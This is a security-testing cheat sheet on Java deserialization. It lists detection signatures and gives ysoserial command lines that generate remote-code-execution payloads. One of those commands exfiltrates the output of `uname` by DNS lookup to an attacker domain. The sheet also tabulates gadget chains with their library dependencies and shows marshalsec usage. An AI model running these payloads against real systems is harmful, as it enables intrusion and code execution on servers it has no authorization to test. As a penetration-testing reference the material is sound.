Java Deserialization

Detection

- "AC ED 00 05" in Hex
- "rO0" in Base64
- Content-type = "application/x-java-serialized-object"
- "H4sIAAAAAAAAAJ" in gzip(base64)

Exploit

ysoserial : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

```
java -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin
java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
java -jar ysoserial-master-v0.0.4-g35bce8f-67.jar Groovy1 'ping 127.0.0.1' >
payload.bin
java -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64
```

payload	author	dependencies	impact (if not RCE)
BeanShell1	@pwntester, @cschneider4711	bsh:2.0b5	
C3P0	@mbechler	c3p0:0.9.5.2, mchange-commons-java:0.2.11	
Clojure	@JackOfMostTrades	clojure:1.8.0	
CommonsBeanutils1	@frohoff	commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2	
CommonsCollections1	@frohoff	commons-collections:3.1	
CommonsCollections2	@frohoff	commons-collections4:4.0	
CommonsCollections3	@frohoff	commons-collections:3.1	
CommonsCollections4	@frohoff	commons-collections4:4.0	
CommonsCollections5	@matthias_kaiser, @jasinner	commons-collections:3.1	
CommonsCollections6	@matthias_kaiser	commons-collections:3.1	
FileUpload1	@mbechler	commons-fileupload:1.3.1, commons-io:2.4	file uploading
Groovy1	@frohoff	groovy:2.3.9	
Hibernate1	@mbechler		
Hibernate2	@mbechler		

payload	author	dependencies	impact (if not RCE)
JBossInterceptors1	@matthias_kaiser	javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21	
JRMPClient	@mbechler		
JRMPListener	@mbechler		
JSON1	@mbechler	json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1	
JavassistWeld1	@matthias_kaiser	javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21	
Jdk7u21	@frohoff		
Jython1	@pwntester, @cschneider4711	jython-standalone:2.5.2	
MozillaRhino1	@matthias_kaiser	js:1.7R2	
Myfaces1	@mbechler		
Myfaces2	@mbechler		
ROME	@mbechler	rome:1.0	
Spring1	@frohoff	spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE	
Spring2	@mbechler	spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2	
URLDNS	@gebl		jre only vuln detect
Wicket1	@jacob-baines	wicket-util:6.23.0, slf4j-api:1.6.4	

Burp extensions using ysoserial

- JavaSerialKiller
- Java Deserialization Scanner
- Burp-ysoserial
- SuperSerial
- SuperSerial-Active

Other tools

- JRE8u20_RCE_Gadget

- JexBoss - JBoss (and others Java Deserialization Vulnerabilities) verify and EXploitation Tool
- ysoserial-modified
- gadgetprobe
- marshalsec - Turning your data into code execution

```
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v]
[-t] [<gadget_type> [<arguments...>]]

 where
  -a - generates/tests all payloads for that marshaller
  -t - runs in test mode, unmarshalling the generated payloads after generating them.
  -v - verbose mode, e.g. also shows the generated payload in test mode.
  gadget_type - Identifier of a specific gadget, if left out will display the
available ones for that specific marshaller.
  arguments - Gadget specific arguments
```

Payload generators for the following marshallers are included:

Marshaller	Gadget Impact
BlazeDSAMF(0|3|X)	JDK only escalation to Java serialization various third party libraries RCEs
Hessian|Burlap	various third party RCEs
Castor	dependency library RCE
Jackson	**possible JDK only RCE**, various third party RCEs
Java	yet another third party RCE
JsonIO	**JDK only RCE**
JYAML	**JDK only RCE**
Kryo	third party RCEs
KryoAltStrategy	**JDK only RCE**
Red5AMF(0|3)	**JDK only RCE**
SnakeYAML	**JDK only RCEs**
XStream	**JDK only RCEs**
YAMLBeans	third party RCE

References

- Github - ysoserial
- Java-Deserialization-Cheat-Sheet - GrrrDog
- Understanding & practicing java deserialization exploits
- How i found a 1500$ worth Deserialization vulnerability - @D0rkerDevil
- Misconfigured JSF ViewStates can lead to severe RCE vulnerabilities - 14 Aug 2017, Peter Stöckli
- Jackson CVE-2019-12384: anatomy of a vulnerability class
- On Jackson CVEs: Don't Panic — Here is what you need to know
- Pre-auth RCE in ForgeRock OpenAM (CVE-2021-35464) - Michael Stepankin / @artsploit - 29 June 2021